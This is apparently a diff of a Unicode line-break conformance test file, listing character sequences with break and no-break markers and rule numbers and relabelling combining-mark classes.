+× 50005 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 50005 × 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 50005 × 0020 ÷ 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 50005 × 0308 × 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 50005 × 0308 × 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 50005 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [0.3]
× 50005 × 0020 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 50005 × 0308 × 0020 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 50005 × 0308 × 0020 × 0020 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 50005 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 50005 × 0020 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 50005 × 0308 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 50005 × 0308 × 0020 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 50005 × 0308 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 50005 × 0308 × 0020 × 002F ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 50005 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 50005 × 0020 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 50005 × 0308 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 50005 × 0308 × 0020 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 50005 × 0308 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 50005 × 0308 × 0020 × 2060 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 50005 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 50005 × 0020 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 50005 × 0308 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 50005 × 0308 × 0020 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 50005 × 0308 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 50005 × 0308 × 0020 × 200B ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 50005 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 50005 × 0020 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 50005 × 0308 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 50005 × 0308 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 50005 ÷ 261D ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 50005 × 0020 ÷ 261D ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 50005 × 0308 ÷ 261D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 261D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 50005 ÷ 1F3FB ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 50005 × 0020 ÷ 1F3FB ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 50005 × 0308 ÷ 1F3FB ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 50005 × 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 50005 × 0020 ÷ 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 50005 × 0308 × 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 50005 × 200D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 50005 × 0020 ÷ 200D ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 50005 × 0308 × 200D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 200D ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 50005 × 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 50005 × 0020 ÷ 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 50005 × 0308 × 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 50005 × 0308 × 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 50005 × 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 50005 × 0020 ÷ 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 50005 × 0308 × 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 50005 × 0308 × 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 50005 × 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 50005 × 0020 ÷ 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 50005 × 0308 × 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 50005 × 0308 × 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 50005 × 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 50005 × 0020 ÷ 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 50005 × 0308 × 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 50005 × 0308 × 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0E01 × 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
× 0E01 × 0020 ÷ 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0E01 × 0308 × 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0E01 × 0308 × 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0E01 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0E01 × 0020 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0E01 × 0308 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0E01 × 0308 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0E01 × 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0E01 × 0020 ÷ 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0E01 × 0308 × 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0E01 × 0308 × 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0E01 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0E01 × 0020 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0E01 × 0308 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0E01 × 0308 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0E01 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0E01 × 0020 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0E01 × 0308 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0E01 × 0308 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 000B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0E01 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0E01 × 0020 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0E01 × 0308 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0E01 × 0308 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0E01 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0E01 × 0020 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0E01 × 0308 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0E01 × 0308 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 007D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0E01 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0E01 × 0020 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0E01 × 0308 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0E01 × 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0E01 × 0020 ÷ 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0E01 × 0308 × 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0E01 × 0308 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 0029 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0E01 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0E01 × 0020 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0E01 × 0308 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0E01 × 0308 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 000D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0E01 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0E01 × 0020 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0E01 × 0308 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0E01 × 0308 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 0021 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0E01 × 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0E01 × 0020 ÷ 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0E01 × 0308 × 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
